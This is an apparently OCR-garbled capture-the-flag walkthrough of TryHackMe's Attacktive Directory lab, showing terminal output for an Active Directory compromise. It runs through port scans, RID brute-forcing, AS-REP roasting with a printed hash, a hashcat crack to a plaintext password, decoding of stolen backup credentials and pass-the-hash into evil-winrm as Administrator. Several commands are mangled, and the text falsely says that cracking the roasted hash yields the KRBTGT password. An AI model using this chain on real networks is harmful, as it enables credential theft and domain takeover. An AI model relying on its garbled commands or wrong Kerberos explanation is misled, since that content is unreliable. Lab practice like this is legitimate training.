Attacktive Directory: Mm0

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https://tryhackme.com/r/room/attacktivedirectory

Scanning:

```
-(kali⊛kali)-[~/attacktiveDirectory]
$\sudo nmap -sS -Pn -T4 -n -p- 10.10.76.106
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 18:30 EDT
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 2.06% done; ETC: 18:33 (0:03:10 remaining)
Stats: 0:00:59 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 9.32% done; ETC: 18:41 (0:09:44 remaining) Stats: 0:01:55 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 16.79% done; ETC: 18:42 (0:09:30 remaining)
Nmap scan report for 10.10.76.106
Host is up (0.10s latency).
Not shown: 65508 closed tcp ports (reset)
            STATE SERVICE
53/tcp
            open domain
80/tcp
            open http
            open kerberos-sec
88/tcp
135/tcp open msrpc
           open netbios-ssn
139/tcp
389/tcp
           open ldap
445/tcp
           open microsoft-ds
464/tcp
           open kpasswd5
593/tcp
           open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49678/tcp open unknown
49685/tcp open unknown
49696/tcp open unknown
```

• Scanning the specific ports that I am interested in.

```
kali@kali)-[~/attacktiveDirectory]
                             sV -p53,80,88,135,389,445,464,593,636,3268,3269,3389,5985,9389 10.10.76.106 > nmap.txt
[sudo] password for kali:
  —(kali⊛kali)-[~/attacktiveDirectory]
 -$ cat nmap.txt
Starting Nmap 7.94SVN (https://nmap.org ) at 2024-10-08 21:07 EDT Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 7.14% done; ETC: 21:07 (0:00:00 remaining) Nmap scan report for 10.10.76.106
Host is up (0.10s latency).
          STATE SERVICE
                                   VERSION
53/tcp open domain
80/tcp open http
                                    Simple DNS Plus
                                    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
 _ Potentially risky methods: TRACE
_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-09 01:07:24Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap
445/tcp open microsoft-ds?
                                   Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
464/tcp open kpasswd5?
                                   Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
                                    Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3268/tcp open ldap
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
```

Enumerate SMB port 445

List share with smbclient:

```
(kali@ kali)-[~/attacktiveDirectory]
$ smbclient -N -L \\\\10.10.76.106
Anonymous login successful

Sharename Type Comment
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.76.106 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

• No password prompt List shares.. but the Anonymous login worked but the workgroup isn't available.

Enumerate SMB

I will use enum4linux/smbclient to enumerate smb on port 445

Using crackmapexec to brute force RID

• The Guest user was disabled probably because tools like enum4linux likes to abuse the guest account to enumerate.

SMB	10.10.76.106	445	ATTACKTIVEDIREC	498:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	500:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	501:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	502:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	512:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	513:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	514:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	515:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	516:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	517:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	518:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	519:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	520:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	521:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	522:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	525:	THM-AD'
SMB	10.10.76.106	445	ATTACKTIVEDIREC	526:	THM-AD'

SMB	10.10.76.106	445	ATTACKTIVEDIREC	527: THM-AD
SMB	10.10.76.106	445	ATTACKTIVEDIREC	553: THM-AD
SMB	10.10.76.106	445	ATTACKTIVEDIREC	571: THM-AD
SMB	10.10.76.106	445	ATTACKTIVEDIREC	572: THM-AD
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1000: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1101: THM-A
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1102: THM-A
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1103: THM-A
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1104: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1105: THM-A
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1106: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1107: THM-A
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1108: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1109: THM-A
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1110: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1111: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1112: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1113: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1114: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1116: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1117: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1118: THM-AI
SMB	10.10.76.106	445	ATTACKTIVEDIREC	1601: THM-A

• these are all the accounts but there are two in particular that are standing out to me:

```
ATTACKTIVEDIREC 1114: THM-AD\svc-admin (SidTypeUser)
ATTACKTIVEDIREC 1118: THM-AD\backup (SidTypeUser
```

Let me check if pre-auth is required for this account with crackmapexec I might be able to possible do as-rep roasting.

After some trial and error:

\$krb5asrep\$23\$svc-admin@THM-AD:4669fd700673dca48fc942c8535ee7f3

Cracking the TGT to get plaintext of the KRB-TGT account

```
L-$ hashcat hash
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 POCL 5.0 debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-sandybridge-12th Gen Intel(R) Core(TM) 17-12700H, 2137/4338 MB (1024 MB allocatable), 8MCU

# Ash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

18200 | Kerberos 5, etype 23, A5-REP | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0

Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0×00000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append >0 to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Initializing backend runtime for device #1. Please be patient... ^C

[kali@kali)-[-/Desktop/THM/attacktiveDirectory]
hashcat = m 18200 hash /usr/share/wordlists/rockyou.txt.gz
```

• We get the password of the KRB-TGT since the TGT in kerbrose authentication is encrypted with the NTLM hash of the KRB-TGT account, so by successfully cracking TGT we can get the KRB-TGT playing text password.

```
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• Password: management2005

Going back to SMB:

```
(kali@kali)=[~/Desktop/THM/attacktiveDirectory]
$ smbclient -U 'svc-admin' \\\\10.10.76.106\\backup
Password for [WORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: \> ls

D
0 Sat Apr 4 15:08:39 2020

...
D
0 Sat Apr 4 15:08:39 2020
backup_credentials.txt
A
48 Sat Apr 4 15:08:53 2020

8247551 blocks of size 4096. 4224129 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> ■
```

the contents of the file look like base64 lets pipe it to base64 -d

```
(kali@kali)-[~/Desktop/THM/attacktiveDirectory]
$ echo "YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE30DYw " | base64 -d
backup@spookysec.local:backup2517860base64: invalid input
```

backup@spookysec.local:backup2517860base64

Lets try to dump the NTDS.DIT

Lets do pass the hash to evil-winrm

```
-(kali®kali)-[~/Desktop/THM/attacktiveDirectory]
sevil-winrm -i 10.10.76.106 -u "Administrator
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
               PS C:\Users\Administrator\Documents> ls
PS C:\Users\Administrator\Documents> dir
PS C:\Users\Administrator\Documents> cd ...
                PS C:\Users\Administrator> dir
                                                        Length Name
                  4/4/2020 11:19 AM
4/4/2020 11:19 AM
4/4/2020 11:39 AM
                                                                   3D Objects
                                                                   Contacts
                  4/4/2020 11:39 AM

4/4/2020 12:09 PM

4/4/2020 11:19 AM

4/4/2020 11:19 AM

4/4/2020 11:19 AM
                                                                Documents
                                                                  Downloads
                   4/4/2020 11:19 AM
4/4/2020 11:19 AM
                                                                  Music
                                                                  Pictures
                   4/4/2020 11:19 AM
                                                                   Saved Games
                   4/4/2020 11:19 AM
4/4/2020 11:19 AM
                                                                  Videos
        WinRM* PS C:\Users\Administrator> cd Desktop
```

lets check users desktop:

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> download root.txt (Doma of the Common of the Common
```